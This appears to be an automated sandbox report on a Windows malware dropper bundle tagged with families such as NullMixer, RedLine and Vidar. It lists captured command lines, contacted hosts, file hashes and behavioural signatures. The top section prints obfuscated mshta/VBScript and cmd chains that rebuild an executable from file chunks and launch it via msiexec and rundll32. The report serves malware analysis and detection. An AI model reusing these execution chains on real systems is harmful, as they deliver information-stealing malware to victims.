taskkill /f -im "Mon00e469051c4c7a.exe"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbSCript:CLOse( CReatEoBJeCT ( "wscriPT.sheLL"). run ( "CMd.exe /C TYpE ""C:\Users\Admin\AppData\Local\Temp\ESYZ4xAO6IJ.eXE"" > ESYZ4xAO6IJ.eXE && sTart ESYz4xAO6iJ.EXe /PdBPpkdCKFRGSs8QEyyO_B7~gkV & if ""/PdBPpkdCKFRGSs8QEyyO_B7~gkV ""== """" for %t iN (""C:\Users\Admin\AppData\Local\Temp\ESYZ4xAO6IJ.eXE"" ) do taskkill /f -im ""%~NXt"" ",0, True))
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C TYpE "C:\Users\Admin\AppData\Local\Temp\ESYZ4xAO6IJ.eXE" > ESYZ4xAO6IJ.eXE &&sTart ESYz4xAO6iJ.EXe /PdBPpkdCKFRGSs8QEyyO_B7~gkV & if "/PdBPpkdCKFRGSs8QEyyO_B7~gkV "== "" for %t iN ("C:\Users\Admin\AppData\Local\Temp\ESYZ4xAO6IJ.eXE" ) do taskkill /f -im "%~NXt"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VBscRipt: close ( CREateobJect("wSCrIPt.SHELL" ). rUN( "CMd /q /C Echo | set /P = ""MZ"" > www1PR~.BG &cOpy /y /B www1pr~.BG + xZ62y.ZZY + NOSJk.fU+ mY33o.U faJSZJuU.PB& staRT msiexec -Y .\fAJszjUU.PB &dEL XZ62y.zZy NOSJk.fU MY33O.U WWW1pr~.Bg " , 0 ,truE ) )
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /q /C Echo | set /P = "MZ" > www1PR~.BG &cOpy /y /B www1pr~.BG +xZ62y.ZZY+ NOSJk.fU+ mY33o.U faJSZJuU.PB& staRT msiexec -Y .\fAJszjUU.PB &dEL XZ62y.zZy NOSJk.fU MY33O.U WWW1pr~.Bg
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" Echo "
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" set /P = "MZ" 1>www1PR~.BG"
C:\Windows\SysWOW64\msiexec.exe
msiexec -Y .\fAJszjUU.PB
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1672 -s 1348
C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "164407643318569234131162149719-1446162373-1710612148-196753650536561436-1999821333"
C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
C:\Windows\system32\RunDll32.exe
C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | hsiens.xyz | udp |
| NL | 45.133.1.107:80 | tcp | |
| NL | 45.133.1.107:80 | tcp | |
| US | 8.8.8.8:53 | ppp-gl.biz | udp |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 107.178.223.183:80 | ppp-gl.biz | tcp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| N/A | 127.0.0.1:49294 | tcp | |
| N/A | 127.0.0.1:49317 | tcp | |
| US | 8.8.8.8:53 | www.listincode.com | udp |
| FR | 91.121.67.60:2151 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | topniemannpickshop.cc | udp |
| US | 8.8.8.8:53 | niemannbest.me | udp |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 8.8.8.8:53 | mas.to | udp |
| US | 8.8.8.8:53 | iplogger.org | udp |
| US | 8.8.8.8:53 | propanla.com | udp |
| US | 172.67.166.96:443 | mas.to | tcp |
| US | 172.67.74.161:443 | iplogger.org | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.200.3:80 | c.pki.goog | tcp |
| GB | 142.250.200.3:80 | c.pki.goog | tcp |
| US | 107.178.223.183:80 | ppp-gl.biz | tcp |
| US | 8.8.8.8:53 | all-mobile-pa1ments.com.mx | udp |
| US | 8.8.8.8:53 | buy-fantasy-football.com.sg | udp |
| US | 107.178.223.183:80 | ppp-gl.biz | tcp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | www.iyiqian.com | udp |
| SG | 13.251.16.150:80 | www.iyiqian.com | tcp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 104.20.4.235:443 | pastebin.com | tcp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 104.20.4.235:443 | pastebin.com | tcp |
| US | 8.8.8.8:53 | wfsdragon.ru | udp |
| US | 104.21.5.208:80 | wfsdragon.ru | tcp |
| US | 104.21.5.208:80 | wfsdragon.ru | tcp |
| FR | 51.178.186.149:80 | tcp | |
| FR | 51.178.186.149:80 | tcp | |
| US | 172.67.74.161:443 | iplogger.org | tcp |
| US | 172.67.74.161:443 | iplogger.org | tcp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 104.155.138.21:80 | ppp-gl.biz | tcp |
| FR | 91.121.67.60:2151 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | crl.microsoft.com | udp |
| DE | 2.16.164.49:80 | crl.microsoft.com | tcp |
| NL | 45.9.20.13:80 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | www.microsoft.com | udp |
| DE | 23.58.217.29:80 | www.microsoft.com | tcp |
| FR | 91.121.67.60:2151 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| FR | 91.121.67.60:2151 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| FR | 91.121.67.60:2151 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| US | 72.84.118.132:8080 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| FR | 91.121.67.60:2151 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| NL | 194.104.136.5:46013 | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00d0d86f7f1e6.exe
| MD5 | 57d5ff3df107c648b937d9a9f2b2913a |
| SHA1 | 976981fdecd8a4eba69470e48515e1dfb8183d19 |
| SHA256 | a35c57c48ea797dc9f1a891aed4b2cef9f4bbacbf24fe317164dbaa02c43bcb8 |
| SHA512 | e74e3772dd494a71f9073c6057ff7e9f7e1e7af4dcfb30832ca32f998ae1a3351f4adb9f774ac617bf55f73aba8e39d5777b500fcf7dcab6f70d58e899cce3e4 |
\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00f8ffa77fe72688.exe
| MD5 | ba8541c57dd3aae16584e20effd4c74c |
| SHA1 | 5a49e309db2f74485db177fd9b69e901e900c97d |
| SHA256 | dbc19cdcdf66065ddb1a01488dac2961b7aa1cde6143e8912bf74c829eaa2c6c |
| SHA512 | 1bdc7461faf32bba7264de0d1f26365ee285de687edef7d957194897fc398145414a63ad5255e6fc5b559e9979d82cf49e8adf4d9d58b86405c921aec027866d |
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00ffeff6b2.exe
| MD5 | 451dff36acd7410c285b73baf5946183 |
| SHA1 | 9f558e45a492185c7ed7ebfffe9cbcffc69383de |
| SHA256 | c0edb14c6a8417fe1eb17829d2838e9fad1b3cc3e748d585029f4a9c1c3c1551 |
| SHA512 | a4aebd9840e964e71c11e37e07bf148098465db58761e4000e384f2deae641ecaabb62c63fc6c4d1f711eb60f285b86ab23ff3f77a575832bc75e1072b5e113a |
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon0052c87b01411369.exe
| MD5 | 06ee576f9fdc477c6a91f27e56339792 |
| SHA1 | 4302b67c8546d128f3e0ab830df53652f36f4bb0 |
| SHA256 | 035373a454afd283da27ebf569ab355be7db470a1a30c3695e18c984b785e1f8 |
| SHA512 | e5b337158905651e2740378615fcd9a8ba2b5e46f02c75be20c22e89b4cb40e8f1dfec1c5c1135f4d59114da9200a772f591622eddb865880b296321d80fb616 |
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00ea631982.exe
| MD5 | d08cc10c7c00e13dfb01513f7f817f87 |
| SHA1 | f3adddd06b5d5b3f7d61e2b72860de09b410f571 |
| SHA256 | 0fb8440355ee2a2fe55de0661199620353a01ed4fd1b0d0a2082f4c226e98e0d |
| SHA512 | 0b9b8c7da24cdb882bc9b7a37689bc0e81d39f1277017b44512e9a17d9e4e44b314d5b3e06f332d64f3f6953f84d309d4027842ef0000ff012e7af5c9012caa0 |
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00e469051c4c7a.exe
| MD5 | e2f65b4d95e309cc35900bfd4125e0b6 |
| SHA1 | debd78147fc93aeb04e55b01ac31badad52a4d8e |
| SHA256 | 51fc72953df863f42e300f2a4c3466a86e6e97f066f3bcabf9a342647eb096f3 |
| SHA512 | dd5ee48afb249e78aaa63d992488c4f663ba6bd2b2252f85e6d133db0d700d72efbe3ddfe88d4e14dfc2d53a40ce8326d8a8c9c5941999be9393bfbe92a0dbe0 |
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon0086072e872c.exe
| MD5 | 91e3bed725a8399d72b182e5e8132524 |
| SHA1 | 0f69cbbd268bae2a7aa2376dfce67afc5280f844 |
| SHA256 | 18af3c7bdeb815af9abe9dcc4f524b2fb2a33ac9cc6784f31e302c10a8d09a0d |
| SHA512 | 280fe25f4813bc261dee3b38ad03364896f3b4f049dcf1d94c6c6e7abb09b47e06445746719d902281d04cc15879d745dd0b71a466fa31f952ae51f90360ae76 |
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00b1dca232.exe
| MD5 | 2de8d046d57fa60509800b164868a881 |
| SHA1 | 905be498f9490445da60c9ee457de1e8411ce074 |
| SHA256 | 02883fa63667972547fe36023646554c3d2895b41c5a8683ab5b2292f5d2d464 |
| SHA512 | addb7b321517a94e1c4da2835178063a739ec01fa6d2e23b8221a50b6d6371b298e5f25a4bbc13d7e3990ab6116f50907e8d7409ee123824c6579fe5f6597735 |
\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00df41776583.exe
| MD5 | 5535284a6c2d931c336cb4e67b146eb2 |
| SHA1 | 1c1c64e2fba0d3bcd1a1851ec46a3163cc49dab0 |
| SHA256 | 9793a517c475fe2e4a361f6a6a99bb5dedd5d3a7db1b7ce6cf1f8f93c7f41b75 |
| SHA512 | 4833047de9198a7e92b35f1914c50f20a79778bb822cc282734cc0a95a2f4633dfe3e317ccbcd4fcc81b5f6d2242786d712eeab8e77dc589cbb693680a99767d |
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00536518ad16.exe
| MD5 | 7c6b2dc2c253c2a6a3708605737aa9ae |
| SHA1 | cf4284f29f740b4925fb2902f7c3f234a5744718 |
| SHA256 | b45c9de845522095bbfa55166b519b2be36a08cea688491b9f339e862e79c3ba |
| SHA512 | 19579900d07912096641cc7381131ff6fcf60fffc99cdab23f7d8a577aa926bbf0e885a3a7869298bbfc0a05e276c1d5f45712812e4df6980e9554fc48162b07 |
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00ef1e53f6f539435.exe
| MD5 | 0d3a4198164c04b532d466c8ccc230e7 |
| SHA1 | cfdb6ce04212f543f8e2bf8cd784e3c635e9a289 |
| SHA256 | 900033e11a0853c12ec6135e9050e776f39b0bab77b7824aa98bef4db361a2f2 |
| SHA512 | d24655112faa883b506800a7b84f23b7446073c37e7d2f67289ec4fff0d54cba6aac7bfde8879dac6d3fa18b82cf96db1b2a2f8155e2b2a1e5c2ba9829004133 |
\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00806cfb48.exe
| MD5 | 69143c3e279096813040fa72b0371d4f |
| SHA1 | 689ee0137e029f58b34e20dab8f3115e3f7f323c |
| SHA256 | 1567686369bf90337140781d80a6a7f43f5a9ee5f0f6301977b66d794ca1297f |
| SHA512 | 7dc0a9603ba42b3c03904e479d6288a133c2c4ae5fb5106734d4e8a082f701eb5d2c023d5f66eb617324579e4ae3a704eb21982f958ba0d18c6246a4a151c18e |
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon001dcfc58b0850.exe
| MD5 | 7c20266d1026a771cc3748fe31262057 |
| SHA1 | fc83150d1f81bfb2ff3c3d004ca864d53004fd27 |
| SHA256 | 4b2fb0f42a923104b69a45aa7a503fbd08739ebf3711599303aa15692136fa46 |
| SHA512 | e18c803e38a2111857519639b1ac838edc5b496a79fc579c7329188c66ba791cc499874132e4d616c24447d0cc5ebe7659f69ed1a810bea1a675b94d089b995f |
C:\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon00946c5090.exe
| MD5 | 8aaec68031b771b85d39f2a00030a906 |
| SHA1 | 7510acf95f3f5e1115a8a29142e4bdca364f971f |
| SHA256 | dc901eb4d806ebff8b74b16047277b278d8a052e964453f5360397fcb84d306b |
| SHA512 | 4d3352fa56f4bac97d5acbab52788cad5794c9d25524ee0a79ef55bfc8e0a275413e34b8d91f4de48aedbe1a30f8f47a0219478c4620222f4677c55cf29162df |
\Users\Admin\AppData\Local\Temp\7zS4565B3A6\Mon003b11682c.exe
| MD5 | a98672182143436478fdb3806ef6cd5a |
| SHA1 | 5d93bb55d9e7915afb11361f42a4c9c6393718b3 |
| SHA256 | 2010cb8b8069ae8e5527526b36f28b78766473b71b67d601351eb361dbef8528 |
| SHA512 | 0d2de593d1e194895833396c49efe194fca56afa3396e6aa41f8a51e961ea4f1ca97697ace0625ea97f5dfe7092b75049c58e582dda122cbc7966cb9a5d18892 |
memory/2856-80-0x0000000064940000-0x0000000064959000-memory.dmp
memory/2856-79-0x0000000064941000-0x000000006494F000-memory.dmp
memory/2856-78-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2856-77-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2856-76-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2856-75-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2856-74-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2856-73-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2856-72-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2856-71-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2856-70-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2856-69-0x000000006FE40000-0x000000006FFC6000-memory.dmp
\Users\Admin\AppData\Local\Temp\7zS4565B3A6\setup_install.exe
| MD5 | ca649f3a6e34a11e861537b17b01e260 |
| SHA1 | b7e133dcc4661efd2ede4d078292f900473c9d3c |
| SHA256 | 606f0d287d8128e3a5b685a5ba659bde37edb9adccff260695cd0c10c6245c9a |
| SHA512 | e883e3d059a6ede0ff5d39cf9b679127bc640836ebe54b8460f14c1d75949dc5b01e27e4ed9a0ba461b4cfc2b7f46cf462dc642d5cbd3e4beebfd12ab74c3715 |
\Users\Admin\AppData\Local\Temp\7zS4565B3A6\libstdc++-6.dll
| MD5 | 5e279950775baae5fea04d2cc4526bcc |
| SHA1 | 8aef1e10031c3629512c43dd8b0b5d9060878453 |
| SHA256 | 97de47068327bb822b33c7106f9cbb489480901a6749513ef5c31d229dcaca87 |
| SHA512 | 666325e9ed71da4955058aea31b91e2e848be43211e511865f393b7f537c208c6b31c182f7d728c2704e9fc87e7d1be3f98f5fee4d34f11c56764e1c599afd02 |
\Users\Admin\AppData\Local\Temp\7zS4565B3A6\libgcc_s_dw2-1.dll
| MD5 | 9aec524b616618b0d3d00b27b6f51da1 |
| SHA1 | 64264300801a353db324d11738ffed876550e1d3 |
| SHA256 | 59a466f77584438fc3abc0f43edc0fc99d41851726827a008841f05cfe12da7e |
| SHA512 | 0648a26940e8f4aad73b05ad53e43316dd688e5d55e293cce88267b2b8744412be2e0d507dadad830776bf715bcd819f00f5d1f7ac1c5f1c4f682fb7457a20d0 |
memory/2856-61-0x000000006B440000-0x000000006B4CF000-memory.dmp
\Users\Admin\AppData\Local\Temp\7zS4565B3A6\libcurl.dll
| MD5 | d09be1f47fd6b827c81a4812b4f7296f |
| SHA1 | 028ae3596c0790e6d7f9f2f3c8e9591527d267f7 |
| SHA256 | 0de53e7be51789adaec5294346220b20f793e7f8d153a3c110a92d658760697e |
| SHA512 | 857f44a1383c29208509b8f1164b6438d750d5bb4419add7626986333433e67a0d1211ec240ce9472f30a1f32b16c8097aceba4b2255641b3d8928f94237f595 |
memory/2856-58-0x000000006B280000-0x000000006B2A6000-memory.dmp
\Users\Admin\AppData\Local\Temp\7zS4565B3A6\libcurlpp.dll
| MD5 | e6e578373c2e416289a8da55f1dc5e8e |
| SHA1 | b601a229b66ec3d19c2369b36216c6f6eb1c063e |
| SHA256 | 43e86d650a68f1f91fa2f4375aff2720e934aa78fa3d33e06363122bf5a9535f |
| SHA512 | 9df6a8c418113a77051f6cb02745ad48c521c13cdadb85e0e37f79e29041464c8c7d7ba8c558fdd877035eb8475b6f93e7fc62b38504ddfe696a61480cabac89 |
\Users\Admin\AppData\Local\Temp\7zS4565B3A6\libwinpthread-1.dll
| MD5 | 1e0d62c34ff2e649ebc5c372065732ee |
| SHA1 | fcfaa36ba456159b26140a43e80fbd7e9d9af2de |
| SHA256 | 509cb1d1443b623a02562ac760bced540e327c65157ffa938a22f75e38155723 |
| SHA512 | 3653f8ed8ad3476632f731a3e76c6aae97898e4bf14f70007c93e53bc443906835be29f861c4a123db5b11e0f3dd5013b2b3833469a062060825df9ee708dc61 |
memory/2704-129-0x0000000000400000-0x0000000000414000-memory.dmp
memory/1272-133-0x0000000001080000-0x00000000010F0000-memory.dmp
memory/2936-135-0x0000000001180000-0x0000000001188000-memory.dmp
memory/2680-132-0x0000000000CC0000-0x0000000000D32000-memory.dmp
memory/1724-140-0x00000000003A0000-0x00000000003BA000-memory.dmp
memory/1352-152-0x0000000000400000-0x0000000000414000-memory.dmp
memory/2704-154-0x0000000000400000-0x0000000000414000-memory.dmp
memory/408-151-0x0000000000400000-0x00000000004BD000-memory.dmp
memory/1724-156-0x0000000000360000-0x0000000000366000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\is-LMKEP.tmp\Mon001dcfc58b0850.tmp
| MD5 | 9303156631ee2436db23827e27337be4 |
| SHA1 | 018e0d5b6ccf7000e36af30cebeb8adc5667e5fa |
| SHA256 | bae22f27c12bce1faeb64b6eb733302aff5867baa8eed832397a7ce284a86ff4 |
| SHA512 | 9fe100fafb1c74728109667b5a2261a31e49c45723de748adaa1d9cb9f8daa389b871056c70066fa3a05be82a5017c8dd590ae149a56d824a9e250d31091a40f |
C:\Users\Admin\AppData\Local\Temp\is-GNSTJ.tmp\_isetup\_shfoldr.dll
| MD5 | 92dc6ef532fbb4a5c3201469a5b5eb63 |
| SHA1 | 3e89ff837147c16b4e41c30d6c796374e0b8e62c |
| SHA256 | 9884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87 |
| SHA512 | 9908e573921d5dbc3454a1c0a6c969ab8a81cc2e8b5385391d46b1a738fb06a76aa3282e0e58d0d2ffa6f27c85668cd5178e1500b8a39b1bbae04366ae6a86d3 |
C:\Users\Admin\AppData\Local\Temp\is-GNSTJ.tmp\idp.dll
| MD5 | b37377d34c8262a90ff95a9a92b65ed8 |
| SHA1 | faeef415bd0bc2a08cf9fe1e987007bf28e7218d |
| SHA256 | e5a0ad2e37dde043a0dd4ad7634961ff3f0d70e87d2db49761eb4c1f468bb02f |
| SHA512 | 69d8da5b45d9b4b996d32328d3402fa37a3d710564d47c474bf9e15c1e45bc15b2858dbab446e6baec0c099d99007ff1099e9c4e66cfd1597f28c420bb50fdcc |
memory/2956-180-0x00000000027F0000-0x000000000293C000-memory.dmp
memory/2856-189-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2856-188-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2856-187-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2856-185-0x000000006EB40000-0x000000006EB63000-memory.dmp
memory/2856-182-0x0000000064940000-0x0000000064959000-memory.dmp
memory/2856-181-0x0000000000400000-0x000000000051C000-memory.dmp
memory/300-215-0x0000000000400000-0x0000000000422000-memory.dmp
memory/1564-212-0x0000000000400000-0x0000000000422000-memory.dmp
memory/300-210-0x0000000000400000-0x0000000000422000-memory.dmp
memory/1564-209-0x0000000000400000-0x0000000000422000-memory.dmp
memory/1564-208-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/1564-206-0x0000000000400000-0x0000000000422000-memory.dmp
memory/1564-204-0x0000000000400000-0x0000000000422000-memory.dmp
memory/1564-202-0x0000000000400000-0x0000000000422000-memory.dmp
memory/300-198-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/300-196-0x0000000000400000-0x0000000000422000-memory.dmp
memory/300-192-0x0000000000400000-0x0000000000422000-memory.dmp
memory/300-190-0x0000000000400000-0x0000000000422000-memory.dmp
memory/1564-214-0x0000000000400000-0x0000000000422000-memory.dmp
memory/300-199-0x0000000000400000-0x0000000000422000-memory.dmp
memory/300-194-0x0000000000400000-0x0000000000422000-memory.dmp
memory/2956-225-0x0000000002D70000-0x0000000002E15000-memory.dmp
memory/2956-237-0x0000000002E20000-0x0000000002EB2000-memory.dmp
memory/2956-234-0x0000000002E20000-0x0000000002EB2000-memory.dmp
memory/2696-238-0x00000000027F0000-0x00000000029E0000-memory.dmp
memory/2040-239-0x0000000000400000-0x0000000000787000-memory.dmp
memory/2980-241-0x0000000000400000-0x00000000007A0000-memory.dmp
memory/1672-240-0x0000000000400000-0x00000000007F3000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\CabECDE.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
memory/1432-263-0x0000000000400000-0x00000000004BD000-memory.dmp
memory/1352-262-0x0000000000400000-0x0000000000414000-memory.dmp
memory/2956-264-0x00000000027F0000-0x000000000293C000-memory.dmp
memory/2696-270-0x00000000027F0000-0x00000000029E0000-memory.dmp
Analysis: behavioral4
Detonation Overview
Submitted
2024-11-24 04:30
Reported
2024-11-24 04:33
Platform
win10v2004-20241007-en
Max time kernel
119s
Max time network
150s
Command Line
Signatures
Detect Fabookie payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Fabookie
Fabookie family
GCleaner
Gcleaner family
NullMixer
Nullmixer family
OnlyLogger
Onlylogger family
PrivateLoader
Privateloader family
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Redline family
SectopRAT
SectopRAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Sectoprat family
Socelars
Socelars family
Socelars payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Vidar
Vidar family
OnlyLogger payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Vidar Stealer
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\rundll32.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
ASPack v2.12-2.42
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00536518ad16.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\is-5FTAA.tmp\Mon001dcfc58b0850.tmp | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00e469051c4c7a.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\09xU.exE | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\setup_installer.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\ESYZ4xAO6IJ.eXE | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
Executes dropped EXE
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\is-5FTAA.tmp\Mon001dcfc58b0850.tmp | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\is-VTBHI.tmp\Mon001dcfc58b0850.tmp | N/A |
| N/A | N/A | C:\Windows\SysWOW64\msiexec.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\rundll32.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\rundll32.exe | N/A |
Reads user/profile data of web browsers
Drops Chrome extension
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\hemlmgggokggmncimchkllhcjcaimcle\9.86.66_0\manifest.json | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00f8ffa77fe72688.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Looks up geolocation information via web service
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3904 set thread context of 1064 | N/A | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon003b11682c.exe | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon003b11682c.exe |
